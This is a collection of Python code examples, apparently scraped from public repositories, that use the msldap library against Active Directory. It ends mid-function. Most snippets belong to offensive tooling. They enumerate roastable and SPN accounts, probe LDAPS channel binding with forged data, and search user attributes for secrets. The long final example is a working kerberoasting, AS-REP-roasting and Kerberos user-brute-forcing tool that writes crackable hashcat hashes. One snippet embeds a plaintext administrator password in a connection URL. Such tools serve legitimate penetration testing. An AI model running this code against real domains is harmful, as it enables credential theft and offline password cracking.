Example #1
0
async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None):
	if ldap_url == 'auto':
		ldap_url = get_ldap_url(authmethod = authmethod, host = host)
	
	msldap_url = MSLDAPURLDecoder(ldap_url)
	client = msldap_url.get_client()
	_, err = await client.connect()
	if err is not None:
		raise err

	domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
	spn_users = []
	asrep_users = []

	if target_type == 'asrep' or target_type == 'all':
		async for user, err in client.get_all_knoreq_users():
			if err is not None:
				raise err
			cred = KerberosCredential()
			cred.username = user.sAMAccountName
			cred.domain = domain
				
			asrep_users.append(cred)
	
	if target_type == 'spn' or target_type == 'all':
		async for user, err in client.get_all_service_users():
			if err is not None:
				raise err
			cred = KerberosSPN()
			cred.username = user.sAMAccountName
			cred.domain = domain
				
			spn_users.append(cred)
	
	return asrep_users, spn_users
Example #2
0
 async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget):
     try:
         url = 'ldaps+ntlm-password://' + inputUser + ':' + inputPassword + '@' + dcTarget
         conn_url = MSLDAPURLDecoder(url)
         ldaps_client = conn_url.get_client()
         ldapsClientConn = MSLDAPClientConnection(
             ldaps_client.target, ldaps_client.creds)
         _, err = await ldapsClientConn.connect()
         if err is not None:
             context.log.error("ERROR while connecting to " + dcTarget +
                               ": " + err)
         #forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
         ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         _, err = await ldapsClientConn.bind()
         if "data 80090346" in str(err):
             return True
         elif "data 52e" in str(err):
             return False
         elif err is not None:
             context.log.error("ERROR while connecting to " + dcTarget +
                               ": " + err)
         elif err is None:
             return False
     except Exception as e:
         context.log.error(
             "something went wrong during ldaps_withEPA bind:" + str(e))
Example #3
0
    async def generate(self):
        try:
            conn_url = MSLDAPURLDecoder(self.url)
            connection = conn_url.get_client()
            _, err = await connection.connect()
            if err is not None:
                raise err

            adinfo = connection._ldapinfo
            domain_name = adinfo.distinguishedName.replace('DC', '').replace(
                '=', '').replace(',', '.')

            async for machine, err in connection.get_all_machines(
                    attrs=['sAMAccountName', 'dNSHostName', 'objectSid']):
                if err is not None:
                    raise err

                dns = machine.dNSHostName
                if dns is None:
                    dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name)

                yield str(machine.objectSid), str(dns), None

        except Exception as e:
            yield None, None, e
Example #4
0
async def client(url):
    #blacklist = ['msExch', 'mDB']
    #attributes = load_attributes()
    conn_url = MSLDAPURLDecoder(url)
    ldap_client = conn_url.get_client()
    _, err = await ldap_client.connect()
    if err is not None:
        raise err

    results = {}
    users = ldap_client.pagedsearch('(objectClass=user)', ['*'])
    async for user in users:
        user = user[0]
        output = f"{user['objectName']}\n"
        for k, v in user['attributes'].items():
            if k in UNINTERESTING_ATTRIBUTES:
                continue
            if isinstance(v, list):
                try:
                    v = ''.join(subvalue.decode(
                    ) if isinstance(subvalue, type(b'')) else subvalue
                                for subvalue in v)
                except:
                    v = ''
            if not isinstance(v, str):
                continue
            if any(keyword in v.lower() for keyword in INTERESTING_KEYWORDS) \
                    or (k in INTERESTING_ATTRIBUTES and INTERESTING_ATTRIBUTES[k]) \
                    or any(re.match(pattern, v.lower()) for pattern in INTERESTING_PATTERNS) \
                    or any(re.match(pattern, v.lower()) for pattern in INTERESTING_PATTERNS_IN_INTERESTING_ATTRIBUTES if k in INTERESTING_ATTRIBUTES):
                if user['objectName'] not in results:
                    results[user['objectName']] = []
                results[user['objectName']].append(f"{str(k)}: {str(v)}")
    return results
Example #5
0
async def get_client(url):
    conn_url = MSLDAPURLDecoder(url)
    ldap_client = conn_url.get_client()
    _, err = await ldap_client.connect()
    if err is not None:
        raise err
    log.info("[+] Connected to target")
    return ldap_client
Example #6
0
	def __init__(self, url = None):
		aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...
		self.conn_url = None
		if url is not None:
			self.conn_url = MSLDAPURLDecoder(url)
		self.connection = None
		self.adinfo = None
		self.ldapinfo = None
Example #7
0
async def client(url):
	conn_url = MSLDAPURLDecoder(url)
	ldap_client = conn_url.get_client()
	_, err = await ldap_client.connect()
	if err is not None:
		raise err

	user = await ldap_client.get_user('Administrator')
	print(str(user))
Example #8
0
async def amain():
    import traceback
    from msldap.commons.url import MSLDAPURLDecoder

    base = 'DC=TEST,DC=CORP'

    #ip = 'WIN2019AD'
    #domain = 'TEST'
    #username = '******'
    #password = '******'
    ##auth_method = LDAPAuthProtocol.SICILY
    #auth_method = LDAPAuthProtocol.SIMPLE

    #cred = MSLDAPCredential(domain, username, password , auth_method)
    #target = MSLDAPTarget(ip)
    #target.dc_ip = '10.10.10.2'
    #target.domain = 'TEST'

    url = 'ldaps+ntlm-password://test\\Administrator:QLFbT8zkiFGlJuf0B3Qq@WIN2019AD/?dc=10.10.10.2'

    dec = MSLDAPURLDecoder(url)
    cred = dec.get_credential()
    target = dec.get_target()

    print(cred)
    print(target)

    input()

    client = MSLDAPClientConnection(target, cred)
    await client.connect()
    res, err = await client.bind()
    if err is not None:
        raise err

    user = "******"
    #attributes = {'objectClass':  ['inetOrgPerson', 'posixGroup', 'top'], 'sn': 'user_sn', 'gidNumber': 0}
    #res, err = await client.add(user, attributes)
    #if err is not None:
    #	print(err)

    #changes = {
    #	'unicodePwd': [('replace', ['"TESTPassw0rd!1"'])],
    #	#'lockoutTime': [('replace', [0])]
    #}

    #res, err = await client.modify(user, changes)
    #if err is not None:
    #	print('ERR! %s' % err)
    #else:
    #	print('OK!')

    res, err = await client.delete(user)
    if err is not None:
        print('ERR! %s' % err)

    await client.disconnect()
Example #9
0
async def client(url):
    try:
        conn_url = MSLDAPURLDecoder(url)
        conn = conn_url.get_connection()
        _, err = await conn.connect()
        if err is not None:
            print('logon failed!')
            raise err

        res, err = await conn.get_serverinfo()
        print(str(res))

    except:
        logging.exception('err!')
Example #10
0
def construct_ldapdef(args):
	ldap_url = args.ldap_url
	if ldap_url[-1] == '/':
		ldap_url = args.ldap_url[:-1]
	if hasattr(args, 'same_query') and args.same_query is True and args.smb_url is not None:
		ldap_url = '%s/?%s' % (ldap_url, urlparse(args.smb_url).query)
	return MSLDAPURLDecoder(ldap_url)
Example #11
0
def main():
    import argparse
    parser = argparse.ArgumentParser(description='MS LDAP library')
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Verbosity, can be stacked')
    parser.add_argument('-n', '--no-interactive', action='store_true')
    parser.add_argument('url', help='Connection string in URL format.')

    args = parser.parse_args()

    ###### VERBOSITY
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    else:
        sockslogger.setLevel(logging.DEBUG)
        logger.setLevel(logging.DEBUG)
        logging.basicConfig(level=logging.DEBUG)

    ldap_url = MSLDAPURLDecoder(args.url)
    compdomlist = MSLDAPCompDomainList(ldap_url)

    asyncio.run(compdomlist.run())
Example #12
0
	async def gather(self):
		try:
			info = {
				'ds' : self.domain_server,
				'ms' : self.multiplexor_server,
				'mp' : self.multiplexor_port,
				'ai' : self.agent_id,
				'sh' : self.socks_server_info['listen_ip'],
				'sp' : self.socks_server_info['listen_port']
			}
			ldap_url = 'ldap+multiplexor-ntlm://{ds}/?proxytype=socks5&proxyhost={sh}&proxyport={sp}&authhost={ms}&authport={mp}&authagentid={ai}'.format(**info)
			smb_url = 'smb+multiplexor-ntlm://{ds}/?proxytype=socks5&proxyhost={sh}&proxyport={sp}&authhost={ms}&authport={mp}&authagentid={ai}'.format(**info)
			self.logger.info(ldap_url)
			self.logger.info(smb_url)
			smb_mgr = SMBConnectionURL(smb_url)
			ldap_mgr = MSLDAPURLDecoder(ldap_url)
			
			#self.ldapenum = LDAPEnumeratorManager(self.db_conn, ldap_mgr, agent_cnt=self.parallel_cnt, progress_queue=self.progress_queue)
			#self.logger.info('Enumerating LDAP')
			#self.ldapenum_task = asyncio.create_task(self.ldapenum.run())
			#
			#adifo_id = await self.ldapenum_task
			#if adifo_id is None:
			#	raise Exception('LDAP enumeration failed!')
			#self.logger.info('ADInfo entry successfully created with ID %s' % adifo_id)
			#
			#self.logger.info('Enumerating SMB')
			#self.smbenum = SMBGathererManager(smb_mgr, worker_cnt=self.parallel_cnt, progress_queue = self.progress_queue)
			#self.smbenum.gathering_type = ['all']
			#self.smbenum.db_conn = self.db_conn
			#self.smbenum.target_ad = adifo_id
			#self.smbenum_task = asyncio.create_task(self.smbenum.run())
			#
			#await self.smbenum_task

			work_dir = './workdir'

			with multiprocessing.Pool() as mp_pool:
				gatherer = Gatherer(
					self.db_conn, 
					work_dir, 
					ldap_url, 
					smb_url, 
					ldap_worker_cnt=None, 
					smb_worker_cnt=None, 
					mp_pool=mp_pool, 
					smb_gather_types=['all'], 
					progress_queue=self.progress_queue, 
					show_progress=False,
					calc_edges=True,
					dns=None
				)
				res, err = await gatherer.run()
				if err is not None:
					raise err
			return True
		except:
			logging.exception('Failed to run scan!')
			return False
Example #13
0
    async def do_login(self, url=None):
        """Performs connection and login"""
        try:
            print('url %s' % repr(url))

            if self.conn_url is None and url is None:
                print('Not url was set, cant do logon')
            if url is not None:
                self.conn_url = MSLDAPURLDecoder(url)

            print(self.conn_url.get_credential())
            print(self.conn_url.get_target())

            self.connection = self.conn_url.get_connection()
            self.connection.connect()

        except Exception as e:
            traceback.print_exc()
Example #14
0
    async def setup(self):
        try:
            if self.no_work_dir is False:
                logger.debug('Setting up working directory')
                if self.work_dir is not None:
                    if isinstance(self.work_dir, str):
                        self.work_dir = pathlib.Path(self.work_dir)
                else:
                    self.work_dir = pathlib.Path()

                self.work_dir.mkdir(parents=True, exist_ok=True)
                self.ldap_work_dir = self.work_dir.joinpath('ldap')
                self.ldap_work_dir.mkdir(parents=True, exist_ok=True)
                self.smb_work_dir = self.work_dir.joinpath('smb')
                self.smb_work_dir.mkdir(parents=True, exist_ok=True)

            logger.debug('Setting up connection objects')

            if self.dns_server is not None:
                self.rdns_resolver = RDNS(server=self.dns_server,
                                          protocol='TCP',
                                          cache=True,
                                          proxy=self.proxy)

            if self.ldap_url is not None:
                self.ldap_mgr = self.ldap_url
                if isinstance(self.ldap_url, str):
                    self.ldap_mgr = MSLDAPURLDecoder(self.ldap_url)

                if self.proxy is not None:
                    #overriding proxy!
                    pu = SocksClientURL.from_urls(self.proxy)
                    p = MSLDAPProxy(MSLDAPProxyType.SOCKS5, pu)
                    self.ldap_mgr.proxy = p

            if self.smb_url is not None:
                self.smb_mgr = self.smb_url
                if isinstance(self.smb_url, str):
                    self.smb_mgr = SMBConnectionURL(self.smb_url)
                if self.proxy is not None:
                    #overriding proxy!
                    pu = SocksClientURL.from_urls(self.proxy)
                    p = SMBProxy()
                    p.type = SMBProxyType.SOCKS5
                    p.target = pu
                    self.smb_mgr.proxy = p

            logger.debug('Setting up database connection')

            if self.progress_queue is None and self.show_progress is True:
                self.progress_queue = asyncio.Queue()
                self.progress_task = asyncio.create_task(self.print_progress())

            return True, None
        except Exception as e:
            return False, e
Example #15
0
    async def do_login(self, url=None):
        """Performs connection and login"""
        try:
            if self.conn_url is None and url is None:
                print('Not url was set, cant do logon')
            if url is not None:
                self.conn_url = MSLDAPURLDecoder(url)

            logger.debug(self.conn_url.get_credential())
            logger.debug(self.conn_url.get_target())

            self.connection = self.conn_url.get_client()
            _, err = await self.connection.connect()
            if err is not None:
                raise err

            return True
        except:
            traceback.print_exc()
            return False
Example #16
0
    async def setup(self):
        try:
            if self.no_work_dir is False:
                logger.debug('Setting up working directory')
                if self.work_dir is not None:
                    if isinstance(self.work_dir, str):
                        self.work_dir = pathlib.Path(self.work_dir)
                else:
                    self.work_dir = pathlib.Path()

                self.work_dir.mkdir(parents=True, exist_ok=True)
                self.ldap_work_dir = self.work_dir.joinpath('ldap')
                self.ldap_work_dir.mkdir(parents=True, exist_ok=True)
                self.smb_work_dir = self.work_dir.joinpath('smb')
                self.smb_work_dir.mkdir(parents=True, exist_ok=True)

            logger.debug('Setting up connection objects')

            if self.dns_server is not None:
                self.rdns_resolver = RDNS(server=self.dns_server,
                                          protocol='TCP',
                                          cache=True)

            if self.ldap_url is not None:
                self.ldap_mgr = MSLDAPURLDecoder(self.ldap_url)
                if self.rdns_resolver is None:
                    self.rdns_resolver = RDNS(server=self.ldap_mgr.ldap_host,
                                              protocol='TCP',
                                              cache=True)

            if self.smb_url is not None:
                self.smb_mgr = SMBConnectionURL(self.smb_url)
                if self.rdns_resolver is None:
                    self.rdns_resolver = RDNS(server=self.smb_mgr.ip,
                                              protocol='TCP',
                                              cache=True)

            logger.debug('Setting up database connection')

            if self.progress_queue is None and self.show_progress is True:
                self.progress_queue = asyncio.Queue()
                self.progress_task = asyncio.create_task(self.print_progress())

            return True, None
        except Exception as e:
            return False, e
Example #17
0
def scan_enum(params):
	db_conn = current_app.config['SQLALCHEMY_DATABASE_URI']

	ldap_url = params['ldap_url']
	smb_url = params['smb_url']
	ldap_workers = params['ldap_workers']
	smb_workers = params['smb_workers']

	smb_mgr = SMBConnectionURL(smb_url)
	ldap_mgr = MSLDAPURLDecoder(ldap_url)

	mgr = LDAPEnumeratorManager(db_conn, ldap_mgr, agent_cnt=ldap_workers)
	adifo_id = mgr.run()
	#print('ADInfo entry successfully created with ID %s' % adifo_id)
		
	mgr = SMBGathererManager(smb_mgr, worker_cnt=smb_workers)
	mgr.gathering_type = ['all']
	mgr.db_conn = db_conn
	mgr.target_ad = adifo_id
	mgr.run()

	return {'adifo_id' : adifo_id}
Example #18
0
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description='Tool to perform verious kerberos security tests',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberoast_epilog)
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        help='Enumerate potentially vulnerable users via LDAP',
        epilog=MSLDAPURLDecoder.help_epilog)
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument('ldap_url', help='LDAP connection URL')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast',
        help='Perform spn roasting (aka kerberoasting)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    spnroast_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    tgt_group = subparsers.add_parser(
        'tgt',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    tgt_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgt_group.add_argument('out_file', help='Output CCACHE file')

    tgs_group = subparsers.add_parser(
        'tgs',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=KerberosCredential.help_epilog)
    tgs_group.add_argument(
        'kerberos_connection_string',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgs_group.add_argument(
        'spn',
        help=
        'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>'
    )
    tgs_group.add_argument('out_file', help='Output CCACHE file')

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    auto_group.add_argument('-e',
                            '--etype',
                            default=23,
                            const=23,
                            nargs='?',
                            choices=[23, 17, 18],
                            type=int,
                            help='Set preferred encryption type')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'tgs':
        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        domain, hostname = args.spn.split('/')

        target = KerberosTarget()
        target.username = hostname
        target.domain = domain

        comm = KerbrosComm(cred, ks)
        comm.get_TGT()
        comm.get_TGS(target)
        comm.ccache.to_file(args.out_file)

    elif args.command == 'tgt':
        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        comm = KerbrosComm(cred, ks)
        comm.get_TGT()
        comm.ccache.to_file(args.out_file)

    elif args.command == 'auto':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        domain = args.dc_ip
        url = 'ldap+sspi://%s' % domain
        msldap_url = MSLDAPURLDecoder(url)
        connection = msldap_url.get_connection()
        connection.connect()

        adinfo = connection.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        for user in connection.get_all_knoreq_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        for user in connection.get_all_service_user_objects():
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosSocket(domain)
            ar = APREPRoast(ks)
            results += ar.run([cred], override_etype=[args.etype])

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'spnroast-sspi':
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    spn_name = '%s@%s' % (username, domain)
                    targets.append(spn_name)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                spn_name = '%s@%s' % (username, domain)
                targets.append(spn_name)

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        ar = Kerberoast(cred, ks)

        if args.etype:
            if args.etype == -1:
                etypes = [23, 17, 18]
            else:
                etypes = [args.etype]
        else:
            etypes = [23, 17, 18]

        logging.debug(
            'Kerberoast will suppoort the following encryption type(s): %s' %
            (','.join(str(x) for x in etypes)))

        hashes = ar.run(targets, override_etype=etypes)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        logging.debug(
            'ASREPRoast will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds, override_etype=[args.etype])

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+] Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        ldap_url = MSLDAPURLDecoder(args.ldap_url)
        connection = ldap_url.get_connection()
        connection.connect()
        adinfo = connection.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in connection.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in connection.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in connection.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in connection.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
